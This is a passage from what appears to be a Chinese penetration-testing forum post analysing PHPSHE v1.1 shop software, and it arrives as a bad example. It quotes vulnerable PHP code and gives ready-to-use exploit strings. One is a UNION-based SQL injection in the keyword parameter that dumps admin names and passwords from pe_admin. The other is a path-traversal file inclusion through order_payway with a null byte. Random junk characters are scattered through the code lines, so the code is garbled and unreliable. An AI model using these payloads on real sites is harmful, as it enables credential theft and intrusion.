0×02 搜索注入8 d3 V5 j* x' _
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));, M: O+ S8 b( I$ {, n% |( f
//搜索
$sqlwhere = " and `product_state` = 1";; e6 i! x: d3 l6 E5 u$ |( d
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤# p% v5 s: f9 D3 }8 y
if ($_g_orderby) {7 F5 U8 Q) l2 z" g/ ~2 f' [
$orderby = explode('_', $_g_orderby);! G& Y- y9 f3 g: X& T
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";5 E) d8 E! |1 A2 [6 J4 a" |8 I5 F
}
else {
$sqlwhere .= " order by `product_id` desc";1 J/ s1 O9 l" I8 C9 L& E
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行/ `6 a2 l. h% {* t x/ o& n
$product_hotlist = product_hotlist();4 k3 c5 r7 d# m' t8 g8 C
//当前路径- k ?" \+ e$ O8 U8 y
$nowpath = category_path($category_id);- C- x$ y1 w' a1 x' f
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())' |; Q" v! U) `; g; K
{7 B8 u M0 G: z" q: j" Y
//处理条件语句
$sqlwhere = $this->_dowhere($where);9 E& p3 V- `! B8 o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>" i! L6 ?( ?0 \
% Y$ `5 j6 {. w7 |0 b
0×03 包含漏洞20 R# |0 k0 Y8 `1 n) z3 Z
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
1 [4 i. w" a p! j1 L+ [
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
: ]" g: r, D- [! C! C# [
}
}
% h9 ]' n0 V1 ], F& \8 t) h2 K$ P
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
" }2 k4 g4 S- ]+ Q
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
}
- {9 l; z6 b5 ^, v& s
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
8 v$ r3 Z9 c3 E: y
}//当一切准备好的时候就可以进行"鸡肋包含了"
1 B) a- L" ?4 |
else {
3 \$ }. @/ A" c- o
pe_error('支付错误...');
}
4 q2 w) `0 H2 |& S) ^
}
$seo = pe_seo('选择支付方式');
9 e/ s, r% l1 C9 h8 V
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |